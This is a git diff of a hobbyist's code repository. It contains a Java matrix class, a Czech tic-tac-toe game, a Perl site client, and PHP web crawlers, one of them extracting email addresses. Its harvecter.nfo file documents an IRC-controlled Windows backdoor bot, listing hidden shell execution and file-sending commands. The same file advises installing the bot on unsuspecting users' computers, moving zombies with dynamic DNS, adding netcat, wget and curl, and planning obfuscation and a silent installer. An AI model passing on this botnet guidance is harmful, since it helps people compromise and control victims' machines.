zero matrix described by (rows,cols) */ + Matrix(int i, int j) { + x = i; + y = j; + matrix = new float[x][y]; + for(i = 0;i < x;i++) for(j = 0;j < y;j++) matrix[i][j] = 0; + } + + /** Construct new matrix from (2d_array) */ + Matrix(float[][] m) { + x = m.length; + y = m[0].length; + matrix = m; + } + + /** Return matrix as multiline String ready to output */ + public String toString() { + String out = new String(""); + for(int i = 0;i < x;i++) { + out += "|\t"; + for(int j = 0;j < y;j++) out += (NumberFormat.getInstance().format(matrix[i][j])+"\t"); + out += "|\n"; + } + return out; + } + + /** Print matrix to console */ + public void print() { + System.out.println(this.toString()); + } + + /** Randomize matrix with numbers x, where: 0 <= x < max */ + public void randomize(int max) { + for(int i = 0;i < x;i++) for(int j = 0;j < y;j++) matrix[i][j] = rnd.nextInt(max); + } + + /** Compare size of this and another matrix */ + public boolean compatible(Matrix m) { + if(m.x == this.x && m.y == this.y) return true; + System.err.println("Cannot add/subtract/multiply two matrices with different sizes!"); + return false; + } + + /** Add another matrix to this and return result */ + public Matrix add(Matrix m) { + if(!compatible(m)) return null; + Matrix o = new Matrix(x,y); + for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j]; + for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += m.matrix[i][j]; + return o; + } + + /** Subtract another matrix from this and return result */ + public Matrix subtract(Matrix m) { + if(!compatible(m)) return null; + Matrix o = new Matrix(x,y); + for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j]; + for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] -= m.matrix[i][j]; + return o; + } + + /** Scalar-multiply this matrix by another one and return result */ + public Matrix multiply(Matrix m) { + if(!compatible(m)) return null; + Matrix o = new Matrix(x,y); + for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j]; + for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) o.matrix[i][j] *= m.matrix[i][j]; + return o; + } + + /** Matrix-multiply this matrix by another one and return result */ + public Matrix mmultiply(Matrix m) { + if(this.y != m.x) { + System.err.println("Cannot multiply those two matrices!"); + return null; + } + Matrix o = new Matrix(this.x,m.y); + for(int i = 0;i < o.x;i++) for(int j = 0;j < o.y;j++) { + for(int z = 0;z < this.y;z++) o.matrix[i][j] += this.matrix[i][z] * m.matrix[z][j]; + } + return o; + } + + /** Return matrix representing this matrix with swapped rows a and b */ + public Matrix swap_rows(int a, int b) { + Matrix o = new Matrix(x,y); + int i, j; + for(i = 0;i < o.x;i++) for(j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j]; + float tmp[] = o.matrix[a]; + o.matrix[a] = o.matrix[b]; + o.matrix[b] = tmp; + return o; + } + + /** Return determinant of this matrix */ + public double determinant() { + System.err.println("TODO: Determinant!"); + return 0; + } + + /*public float SIM_MIN(float a, float b) { + return (a < b ? a : b); + } + + public double fabs(double a) { + return Math.abs(a); + }*/ + + /** Return matrix representing upper triangle format of this matrix */ + public Matrix echelon() { + System.err.println("Reducing to echelon row form is not working properly!"); + //return null; + Matrix o = new Matrix(x,y); + int i, j; + for(i = 0;i < o.x;i++) for(j = 0;j < o.y;j++) o.matrix[i][j] += this.matrix[i][j]; + + for(int row = x; row >= 0; row--) { + //reduceRow(row); + double multiplier; + for(j=row+1; j < y; j++) { + if(o.matrix[row][j] != 0) { + multiplier = -o.matrix[row][j]; + //addRow(j, row, multiplier); + //(int fromRow, int toRow, double mult) + for(i=0; i max) max = seq[i]; + } + System.out.println("minimum = "+min); + System.out.println("maximum = "+max); + } + + public void vypisDelitelne(double a) { + System.out.println("Cisla delitelna "+a+":"); + int i; + for(i=0;i= size || y < 0 || y >= size || pole[x][y] != prazdno) { + chyba = false; + System.out.println("\t\t\tneplatne pole!"); + kriz = !kriz; continue; //dalsi pokus + } + pole[x][y]=hrac; + } + + } +} + +/** + * trida demonstrujici pouziti tridy PiskvorciPole + * @author Honza + */ +public class piskvorky { + public static void main (String argv[]) { + System.out.println("\t\t===> PISKVORKY <==="); + System.out.println("\tHru lze prerusit stisknutim ctrl+c, nebo pres netbeans."); + PiskvorciPole pp = new PiskvorciPole(20); //vytvorime nove pole 20x20 + pp.hrat(); //spustime hru + } +} diff --git a/java/DrawingCanvas.class b/java/pokusy/DrawingCanvas.class similarity index 100% rename from java/DrawingCanvas.class rename to java/pokusy/DrawingCanvas.class diff --git a/java/DrawingRegion.class b/java/pokusy/DrawingRegion.class similarity index 100% rename from java/DrawingRegion.class rename to java/pokusy/DrawingRegion.class diff --git a/java/_nodist/SketchPanel.java b/java/pokusy/_nodist/SketchPanel.java similarity index 100% rename from java/_nodist/SketchPanel.java rename to java/pokusy/_nodist/SketchPanel.java diff --git a/java/_nodist/socket.java b/java/pokusy/_nodist/socket.java similarity index 100% rename from java/_nodist/socket.java rename to java/pokusy/_nodist/socket.java diff --git a/java/canvas.class b/java/pokusy/canvas.class similarity index 100% rename from java/canvas.class rename to java/pokusy/canvas.class diff --git a/java/canvas.java b/java/pokusy/canvas.java similarity index 100% rename from java/canvas.java rename to java/pokusy/canvas.java diff --git a/java/swing-gui/NetBeans_Swing_GUI_Build-HOWTO.txt b/java/swing-gui/NetBeans_Swing_GUI_Build-HOWTO.txt new file mode 100755 index 0000000..2db2063 --- /dev/null +++ b/java/swing-gui/NetBeans_Swing_GUI_Build-HOWTO.txt @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/java/swing-gui/gui-helloworld-gnome.png b/java/swing-gui/gui-helloworld-gnome.png new file mode 100755 index 0000000..ed64d16 Binary files /dev/null and b/java/swing-gui/gui-helloworld-gnome.png differ diff --git a/java/swing-gui/gui-helloworld-win.png b/java/swing-gui/gui-helloworld-win.png new file mode 100755 index 0000000..fcd5e6f Binary files /dev/null and b/java/swing-gui/gui-helloworld-win.png differ diff --git a/java/swing-gui/gui-helloworld.jar b/java/swing-gui/gui-helloworld.jar new file mode 100755 index 0000000..6bbf24f Binary files /dev/null and b/java/swing-gui/gui-helloworld.jar differ diff --git a/misc/semi-private.projects/harvecter.nfo b/misc/semi-private.projects/harvecter.nfo new file mode 100755 index 0000000..d7f08b6 --- /dev/null +++ b/misc/semi-private.projects/harvecter.nfo @@ -0,0 +1,125 @@ + <>=========================================================== 1001 1001 1011 1110 0000 01101 1110 ===<> + ___ ___ ___ ___ + /__/\ / /\ / /\ ___ ___ / /\ + \ \:\ / /::\ / /::\ /__/\ / /\ / /:/_ + \__\:\ / /:/\:\ / /:/\:\ \ \:\ / /:/ / /:/ /\ + ___ / /::\ / /:/~/::\ / /:/~/:/ \ \:\ /__/::\ / /:/ /:/_ + /__/\ /:/\:\/__/:/ /:/\:\/__/:/ /:/___ ___ \__\:\\__\/\:\__ /__/:/ /:/ /\ + \ \:\/:/__\/\ \:\/:/__\/\ \:\/::::://__/\ | |:| \ \:\/\\ \:\/:/ /:/ + \ \::/ \ \::/ \ \::/~~~~ \ \:\| |:| \__\::/ \ \::/ /:/ + \ \:\ \ \:\ \ \:\ \ \:\__|:| /__/:/ \ \:\/:/ + \ \:\ \ \:\ \ \:\ \__\::::/ \__\/ \ \::/ + \__\/ \__\/ \__\/ ~~~~ \__\/ + + <>===== IRC Bot ================================================================ <-- Harvie 2oo7 ====<> + <> <> + <> <>GENERAL <> + <> Name: HarveCter <> + <> Subject: IRC Bot <> + <> Description: Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC <> + <> Version: 1.0 <> + <> <> + <> <>DETAILS <> + <> Platform: Microsoft Windows (Tested on 2000, XP SP1, XP SP2) <> + <> Language: Ansi C + Few windows libs (Windows & WinSock) <> + <> Author: <-- Harvie <> + <> Date: 2oo7 <> + <> Contact: Harvie@irc.2600.net <> + <> <> + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000=============================================================== <-- Harvie 2oo7 =====111====<> + + <>===== INFO ================================================ 1001 1001 1011 1110 0000 01101 1110 ===<> + + <>Building info: +Optimalized for Dev-Cpp. +Compile as windows GUI app. to make a daemon. + + <>Warnings: +There is not so big security!!! +If you want to keep your zombies, +control them only by PM or at completely secure channel!!! +All passwords, that are starting with your password will be accepted!!! +If you want to keep your botnet use Dynamic IRC server maping (by Dynamic DNS), +rather than sending bots directly to one server (as irc.2600.net:6667)!!! + + <>Setting up: +- You can do all settings in source. +- for better security use a different password for channel and bots. + + <>Commands: +- Warning: all commands are case sensitive + +- !login [login] //Bad login=logout +- !chanpass //Set mode +k (each bot sends this when connected) + + <>Privileged commands (needs login) +- !SAY [msg] //Say msg +- !CMD [shell command] //Execute command @ bot (hidden console window) +- !CMD start [shell command] //Execute command @ bot (show console window) +- !head [file to send] //Send few (maxlines_to_send) lines of file +- !raw [line to send] //Sends raw line to server (you can OP yourself) +- !info //Info about zombie +- !time //Local time @ zombie +- !show //Show console window +- !hide //Hide console window +- !restart //Restart connection to server +- !respawn //Restart whole zombie + + <>Startup commands: +Each time when the bot starts, he executes the "hircb.rc.bat" file - hidden (UTFS). + + <>More functions: +If you want to add more functions to this bot, you can add them direct to the code, +or you can simple add executable binaries to its directory (!CMD binary.exe). +This binary must be fully controlled from CLI (command line). + + <>Recommended binaries to add: +- Wget (wget.exe) - Allows you to download files from http & ftp (add functions online...) +- cURL (curl.exe) - Allows you to upload files to your server (needs some php scripts...) + + <>Another usefull binaries: +- NetCat (nc.exe) - Useful (Easy Networking, Firewall test, Backdoor, etc...) - you know... +- Servers - FTP(SlimFTPd), HTTP(you can strip Apache), SMTP, SOCKS, Proxy +- Runtimes - Unix(CygWin), Java(JArX) PHP, Perl, Python +- NirCMD2 - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...) +- CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???) +- Anything else - DoS, mailing (Don't do any ilegal stuff with this - just testing!!!) + + <>Recommendations: +- Use some free DNS service to move zombies across servers. +- Take very big care about channel security. +- Install this bot only at n00bz' computers, because there is no encryption + (anybody else can sniff and get passwords, etc...) + + <>Version history: +- future - Maybe some bugfixes +- 1.0 - Fixed for overflows, checked bounds, etc..., reformated/reidented source +- 1.0bRC1 - Implemented Connection checker (new thread), Implemented "!line" +- 1.0b - Bugfixes (cmdfile), Implemented "!respawn" +- 0.9 - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn" +- 0.8 - Hidden execution +- 0.7 - Implemented "!info" & "!time" +- 0.6 - Implemented "!login" function +- 0.5 - Implemented "!CMD" function +- other - I can't remember ;D + + <>To Do: +- Need SSL to Rock! +- Binary obfuscation better than UPX +- Polymorfism? +- Test binary on "W0W MS OS Vista" (sorry, im running Linux ;) +- Implement some minimalistic hack, which allows you to download wget +- Utility for changing bot settings by direct binary patching without recompiling +- Automatic silent installer + + <>Terms of use: +- Use it like you want [use, change, abuse]! +- There is no warranty, because this is free of charge for you! +- There is no responsibility from side of author, because this is tool only! +- Only you are responsible for yours acts! + + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000============================================================= <-- Harvie 2oo7/8 =====111====<> diff --git a/perl/kyberia/dist-probably-outdated/Kyberia.pl b/perl/kyberia/dist-probably-outdated/Kyberia.pl new file mode 100755 index 0000000..99eaa3c --- /dev/null +++ b/perl/kyberia/dist-probably-outdated/Kyberia.pl @@ -0,0 +1,79 @@ +#!/usr/bin/env perl +#Kyberia client... (Harvie 2oo9) +#THX2 || + +use strict; +use warnings; + +package Kyberia; + use LWP; + use HTML::Entities; + + our $url; + our $browser; + + sub new { #constructor + my ($self, $kurl) = @_; + $url = $kurl; + $browser = LWP::UserAgent->new( ); + $browser->cookie_jar( {} ); + return $self; + } + + sub Login { + my ($self, $user, $pass) = @_; + my $response = $browser->post( $url, + [ 'event' => 'login', + 'login' => $user, + 'password' => $pass, + 'login_type' => 'name', + ] + ); + return $response->is_success; + } + + sub Logout { + my $response = $browser->post( $url, + [ 'event' => 'logout' + ] + ); + return $response->is_success; + } + + sub SendMail { + my ($self, $user, $message) = @_; + my $response = $browser->post( $url, + [ 'event' => 'send', + 'mail_to' => $user, + 'mail_to_type' => 'name', + 'mail_text' => $message, + ] + ); + return $response->is_success; + } + + sub GetNode { + my ($self, $id) = @_; + my $response = $browser->get("$url/id/$id/"); + return $response->content; + } + + sub ReadMail { + my $response = $browser->get("$url/id/2176597/"); + my @mails = split(/\n/, $response->content); $response = ''; + shift(@mails); #remove CSV header + foreach (@mails) { + my ($MSG_ID, $FROM, $FROM_ID, $TO, $TO_ID, $TIME, $NEW, $TEXT) = split(/;/, $_, 8); #parse CSV + $TEXT =~ s/\\n/\n/g; decode_entities($TEXT); #unescape message + print("#$MSG_ID $FROM --> $TO ($TIME)\n\n$TEXT\n---------------------------------\n"); + } + return $response->is_success; + } + + sub CheckMail { + my $response = $browser->get("$url/ajax/check_new_mail.php"); + my @mails = split(/;/, $response->content); + return ($mails[0], $mails[1], "You have $mails[0] unread mails, last from $mails[1]."); + } + + return 1; diff --git a/php/crawler/old/crawlboost.phps b/php/crawler/old/crawlboost.phps new file mode 100755 index 0000000..683f5d2 --- /dev/null +++ b/php/crawler/old/crawlboost.phps @@ -0,0 +1,28 @@ +#!/usr/bin/php + 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + $nurl = spliti('(\?|#|\*|")', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug + $test = @fopen($nurl, 'r'); + if($test) echo("$nurl\n"); + } + } + } +} + diff --git a/php/crawler/old/url2mail.phps b/php/crawler/old/url2mail.phps new file mode 100755 index 0000000..206f4b6 --- /dev/null +++ b/php/crawler/old/url2mail.phps @@ -0,0 +1,24 @@ +#!/usr/bin/php +| |\?|")', htmlspecialchars_decode($mail)); + echo(trim($mail[0])."\n"); + } + } + } \ No newline at end of file diff --git a/php/crawler/old/wcrawl.phps b/php/crawler/old/wcrawl.phps new file mode 100755 index 0000000..8894ecd --- /dev/null +++ b/php/crawler/old/wcrawl.phps @@ -0,0 +1,126 @@ +#!/usr/bin/php + $max) { + fclose($fp); + if($GLOBALS['debug']) echo("**Too much big file!!!: $file\n"); + return(0); + } + } + fclose($fp); + return(1); +} +function check_crawl_url($url) { //URL Filter for crawl_url function + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['url_db'])) return(0); + if(!file_size_check($url, $GLOBALS['maximum_file_size'])) return(0); + foreach($GLOBALS['eregi_url_whitelist'] as $white_url) { + if(eregi($white_url, $url)) return(1); + } + return(1); //1 == disable whitelisting, 0 == enable whitelisting +} + +function found_url($url) { //What to do with found URL + $test = @fopen($url, 'r'); + if(!$test) { + if($GLOBALS['debug']) echo("> Can't open file!: $url\n"); + return(1); + } + + echo($url."\n"); +} + +function crawl_url($url) { //Recursive crawler (with cleanup of course...) + found_url($url); + if($GLOBALS['i'] >= $GLOBALS['cache_size']) return(0); + $in = @file($url); if(!$in || !is_array($in)) return(1); + foreach($in as $line) { + $line = spliti('href="http://', $line); + if(sizeof($line) > 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + $nurl = spliti('(\?|#|\*|")', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug + if(check_crawl_url($nurl)) { + array_push($GLOBALS['url_db'], $nurl); + $GLOBALS['i']++; $GLOBALS['total']++; + if($GLOBALS['debug']) echo("-cache: ".$GLOBALS['i']." +total urls crawled: ".$GLOBALS['total']."\n"); //Debug + if($GLOBALS['i'] < $GLOBALS['cache_size']) { + crawl_url($nurl); + } + if($GLOBALS['i'] >= $GLOBALS['cache_size']) return(0); + } + } + } + } +} + + +//CODE (Cleanup for crawl_url()) +if($debug) echo("!!! DEBUG MODE ON !!!\n"); +while(1) { + if($debug) echo("\n+Strating with: ".$url_db[0]."\n"); //Debug + foreach($url_db as $url) { + if($i < $cache_size) crawl_url($url); + } + //Cache cleanup + if($debug) echo("!Cache Cleanup\n"); //Debug + while(sizeof($url_db) > $min_cache_size) { + array_shift($url_db); + } + $url_db = array_reverse($url_db); + $i = $min_cache_size; +} \ No newline at end of file diff --git a/php/crawler/probably-more-old/crawler.phps b/php/crawler/probably-more-old/crawler.phps new file mode 100755 index 0000000..8b6352c --- /dev/null +++ b/php/crawler/probably-more-old/crawler.phps @@ -0,0 +1,219 @@ +#!/usr/bin/php +path/to/php5/php.exe crawler.php + * (you can add php.exe to PATH or associate .php files with it) + * + * Notes: + * - You can use EtherApe (or similar sniffer) to get graphical + * illustration of connecions (spider with your machine in center). + * - There are few bugs in PHP5, + * so this crawler may freeze after few minutes, + * but you can use $use_curlbin option (need some extra files). + * Check this for more info: http://bugs.php.net/bug.php?id=43098 + * + * Tips & Tricks: + * - Make found URLs 100% unique: + * cat urls.txt | sort -u > uurls.txt && mv -f uurls.txt urls.txt + * - Show filesize and total urls count: + * du -h urls.txt && cat urls.txt | wc -l + * - Open another output pipe: + * tail -f urls.txt + * - Use some plugin (filter) to extract emails, etc... + * tail -f urls.txt | ./example_mail_extractor.php + * + * Special thx2: + * - PHP, cURL (technology) + * - root.cz & php.net (help) + * - Linus Torvalds (because I am crawling from Linux) + */ + +///SETTINGS////////////////// +//Basic +$seed = 'http://www.secunia.com/'; //Start crawling from this page +$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive) +$delete_url_db = false; //Delete file with saved URLs before crawling +$restore = true; //Use last url from $file instead of seed +//Advanced +$max_size = 10000; //How many bytes download from each page? +$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue) +$buffer_increase = false; //Increase buffer at buffer underrun? +$random_url = false; //Select random urls from page? (This may override URL filter) +$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...) +//Curl binary plugin +$use_curlbin = true; //Use interface to cURL executable instead of file_get_contents() (More speed, less crashes) +$curlpath = 'curl'; //Path to cURL executable binary (you can download it from http://curl.haxx.se/) +//Sort binary plugin +$use_sortbin = true; //Use sort to make URLs unique? +$sortpath = 'sort'; //Path to SORT executable binary (get it from your OS or UNXUtils for Windows) +$sort_each = $history_max; //Sort file after X new URLs +//System/PHP +$socket_timeout = 1; //How long you want wait for a webserver? (seconds) +$time_limit = 0; //How long run? (seconds; 0==infinite) +$memory_limit = '128M'; //Maximum memory to eat (if exhausted, crawler will stop) +//Debug +$debug = true; //Use debuging mode? (Print errors and statistics) + +//Filter +$eregi_url_blacklist = array( //Most important thing when crawling ;D + '(W3\.org|W3C)', //Hell knows... + '(shop|xxx|porn|lesbian|hot)', //Commercial sites + '(google|209.85.135.104|yahoo.com|amazon.com|youtube.com)', //Big sites + '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites + '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content + '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files + '.\.(pdf|swf|flv|cfm)', //Other text files + '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files +); + + +///FUNCTIONS///////////////// +function shell_sort_file($file, $tmpfile='.tmp') { + $tmpfile = $file.$tmpfile; + if($GLOBALS['debug']) echo("-SORTing $file (using tempfile $tmpfile)\n"); + @unlink($tmpfile); + system($GLOBALS['sortpath']." -u $file > $tmpfile"); + if(is_file($tmpfile) && (filesize($tmpfile) > 3)) { + unlink($file); + rename($tmpfile, $file); + } else { + if($GLOBALS['debug']) echo("-SORTing failed!!!\n"); + } + if($GLOBALS['debug']) echo("-SORTing done!\n"); +} + +function shell_curl_get($url, $timeout=0, $maxdata=0) { //I made this cURL interface cause file_get_contents() absolutely sux + $curl = 'curl'; + if(isset($GLOBALS['curlpath'])) $curl = $GLOBALS['curlpath']; + $args = "--get --location --connect-timeout $timeout --max-time $timeout --compressed --stderr curl.debug"; + $url = escapeshellcmd(trim($url)); + $cmd = "$curl --url \"$url\" $args"; + if($GLOBALS['debug']) echo("-Ex: $cmd\n"); + $fp = popen($cmd, 'r'); + stream_set_timeout($fp, $timeout); + stream_set_blocking($fp, 0); + //if($timeout>0) sleep($timeout); + $data = ''; + while(!feof($fp)) { + $in = fgets($fp, 100); + $data .= $in; + if($maxdata>0 && strlen($data)>=$maxdata) break; + if($in == '') usleep(1000000/8); + } + @fclose($fp); + return $data; +} + +function check_crawl_url($url) { //Use this function to determine if url is wanted + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['urls'])) return(0); + $file_url = explode('?', $url, 2); $file_url = $file_url[0]; + if(in_array($file_url, $GLOBALS['history'])) return(0); + return(1); +} + + +///CODE////////////////////// +//Init +if($restore && is_file($file)) { //Load last url as seed + $urls[1]=$seed; //original seed as backup (if no urls found at restored page) + if($debug) echo("!Restoring: "); + $rest = fopen($file, 'r'); + while(!feof($rest)) { + $seed = $new; + $new = fgets($rest); + } + fclose($rest); + $seed = trim($seed); + if($debug) echo($seed."\n"); + $urls[0]=$seed; + $seed=$urls[1]; +} + +if($delete_url_db) @unlink($file); +ini_set('default_socket_timeout',$socket_timeout); +set_time_limit($time_limit); +ini_set('memory_limit', $memory_limit); + +//Loop +if($debug) { $u = 0; $c = 0; $t = time(); } +$history[0] = ''; +$sort_next = $sort_each; +$sorted_db = 0; +$fp = fopen($file, 'a+'); +while(true) { //MAIN L00P + if(sizeof($urls) <= 0) { + $urls=''; + $urls[0]=$seed; + if($buffer_increase) $max_urls++; //Increase size of buffer by one + if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n"); + } + + //Get URL from buffer, download few bytes and write down URLs to array: + $url = array_shift($urls); + if($debug) echo("-Parsing: $url\n"); + if(!$use_curlbin) { $page = @file_get_contents($url, false, null, 0, $max_size); } + else { $page = shell_curl_get($url, $socket_timeout, $max_size); } + preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode($page), $new_urls); + $new_urls = $new_urls[0]; + + foreach($new_urls as $new_url) { //Process grabed URLs + if($debug) $c++;///Debug + if(check_crawl_url($new_url)) { + echo($new_url."\n"); + fwrite($fp, $new_url."\n"); + + if($use_sortbin) { //Handle sorting (unique URLs) + $sort_next--; + if($sort_next<=0) { + fclose($fp); + shell_sort_file($file); + if($debug) { + $sorted_db = 0; + $fp = fopen($file, 'r'); + while(!feof($fp)) { + fgets($fp); + $sorted_db++; + } + fclose($fp); + } + $fp = fopen($file, 'a+'); + $sort_next = $sort_each; + } + } + + $file_url = explode('?', $new_url, 2); $file_url = $file_url[0]; + array_push($history, $file_url); + while(sizeof($history) > $history_max) @array_shift($history); + if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); } + else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); } + if($debug) { ///Debug Block + $u++; + $sorted_db++; + $uspeed = round($u/(time()-$t+1), 2); + $cspeed = round($c/(time()-$t+1), 2); + $time = round((time()-$t)/60, 1); + $buffered = sizeof($urls); + $historied = sizeof($history); + $memory = round(memory_get_usage()/1000000, 2); + echo("+$u ($sorted_db sorted) URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; To sort: $sort_next URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s; Memory used: $memory/$memory_limit\n"); + } + } + } + $new_urls = ''; //Memory cleanup +} + +##EOF diff --git a/php/crawler/probably-more-old/old/crawler_5.3.phps b/php/crawler/probably-more-old/old/crawler_5.3.phps new file mode 100755 index 0000000..8dc1795 --- /dev/null +++ b/php/crawler/probably-more-old/old/crawler_5.3.phps @@ -0,0 +1,104 @@ +#!/usr/bin/php +path/to/php5/php.exe crawler.php + * (you can add php.exe to PATH or associate .php files with it) + * + * Notes: + * At this moment, there are few bugs in PHP5, + * so this crawler may freeze after few minutes. + * Check this for more info: http://bugs.php.net/bug.php?id=43098 + */ + +///SETTINGS +//Basic +$seed = 'http://www.secunia.com/'; //Start crawling from this page +$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive) +$delete_url_db = true; //Delete file with saved URLs before crawling +//Advanced +$max_size = 10000; //How many bytes download from each page? +$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue) +$buffer_increase = false; //Increase buffer at buffer underrun? +$random_url = false; //Select random urls from page? (This may override URL filter) +$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...) +//Misc. +ini_set('default_socket_timeout',1); //How long you want wait for a webserver? (seconds) +set_time_limit(0); //How long run? (seconds; 0==infinite) +$debug = false; //Use debuging mode? (Print errors and statistics) + +//Filter +$eregi_url_blacklist = array( + '(W3\.org|W3C)', //Hell knows... + '(shop|xxx|porn|lesbian|hot)', //Commercial sites + '(google|209.85.135.104|amazon.com|youtube.com)', //Big sites + '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites + '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content + '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files + '.\.(pdf|swf|flv|cfm)', //Other text files + '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files +); + +function check_crawl_url($url) { //Use this function to determine if url is wanted + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['urls'])) return(0); + $file_url = explode('?', $url, 2); $file_url = $file_url[0]; + if(in_array($file_url, $GLOBALS['history'])) return(0); + return(1); +} + +///CODE +if($delete_url_db) @unlink($file); +if($debug) { $u = 0; $c = 0; $t = time(); } +$history[0] = ''; +$fp = fopen($file, 'a+'); +while(true) { + if(sizeof($urls) <= 0) { + $urls=''; + $urls[0]=$seed; + if($buffer_increase) $max_urls++; //Increase size of buffer by one + if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n"); + } + + $url = array_shift($urls); + if($debug) echo("-Parsing: $url\n"); + preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($url, false, null, 0, $max_size)), $new_urls); + $new_urls = $new_urls[0]; + + foreach($new_urls as $new_url) { + if($debug) $c++;///Debug + if(check_crawl_url($new_url)) { + echo($new_url."\n"); + fwrite($fp, $new_url."\n"); + $file_url = explode('?', $new_url, 2); $file_url = $file_url[0]; + array_push($history, $file_url); + while(sizeof($history) > $history_max) @array_shift($history); + if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); } + else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); } + if($debug) { ///Debug Block + $u++; + $uspeed = round($u/(time()-$t+1), 2); + $cspeed = round($c/(time()-$t+1), 2); + $time = round((time()-$t)/60, 1); + $buffered = sizeof($urls); + $historied = sizeof($history); + echo("+$u URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s\n"); + } + } + } + $new_urls = ''; //Memory cleanup +} + +##EOF \ No newline at end of file diff --git a/php/crawler/probably-more-old/old/crawler_5.5.phps b/php/crawler/probably-more-old/old/crawler_5.5.phps new file mode 100755 index 0000000..3727ecd --- /dev/null +++ b/php/crawler/probably-more-old/old/crawler_5.5.phps @@ -0,0 +1,179 @@ +#!/usr/bin/php +path/to/php5/php.exe crawler.php + * (you can add php.exe to PATH or associate .php files with it) + * + * Notes: + * - You can use EtherApe (or similar sniffer) to get graphical + * illustration of connecions (spider with your machine in center). + * - There are few bugs in PHP5, + * so this crawler may freeze after few minutes, + * but you can use $use_curlbin option (need some extra files). + * Check this for more info: http://bugs.php.net/bug.php?id=43098 + * + * Tips & Tricks: + * - Make found URLs 100% unique: + * cat urls.txt | sort -u > uurls.txt && mv -f uurls.txt urls.txt + * - Show filesize and total urls count: + * du -h urls.txt && cat urls.txt | wc -l + * - Open another output pipe: + * tail -f urls.txt + * - Use some plugin (filter) to extract emails, etc... + * tail -f urls.txt | ./example_mail_extractor.php + * + * Dedicated to: SooM.cz (This is SooM project) + * Special thx2: + * - PHP, cURL (technology) + * - root.cz & php.net (help) + * - Linus Torvalds (because I am crawling from Linux) + */ + +///SETTINGS////////////////// +//Basic +$seed = 'http://www.secunia.com/'; //Start crawling from this page +$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive) +$delete_url_db = false; //Delete file with saved URLs before crawling +$restore = true; //Use last url from $file instead of seed +//Advanced +$max_size = 10000; //How many bytes download from each page? +$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue) +$buffer_increase = false; //Increase buffer at buffer underrun? +$random_url = false; //Select random urls from page? (This may override URL filter) +$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...) +//Curl binary plugin +$use_curlbin = false; //Use interface to cURL executable instead of file_get_contents() (More speed, less crashes) +$curlpath = 'curl'; //Path to cURL executable binary (you can download it from http://curl.haxx.se/) +//System/PHP +$socket_timeout = 1; //How long you want wait for a webserver? (seconds) +$time_limit = 0; //How long run? (seconds; 0==infinite) +$memory_limit = '128M'; //Maximum memory to eat (if exhausted, crawler will stop) +//Debug +$debug = true; //Use debuging mode? (Print errors and statistics) + +//Filter +$eregi_url_blacklist = array( //Most important thing when crawling ;D + '(W3\.org|W3C)', 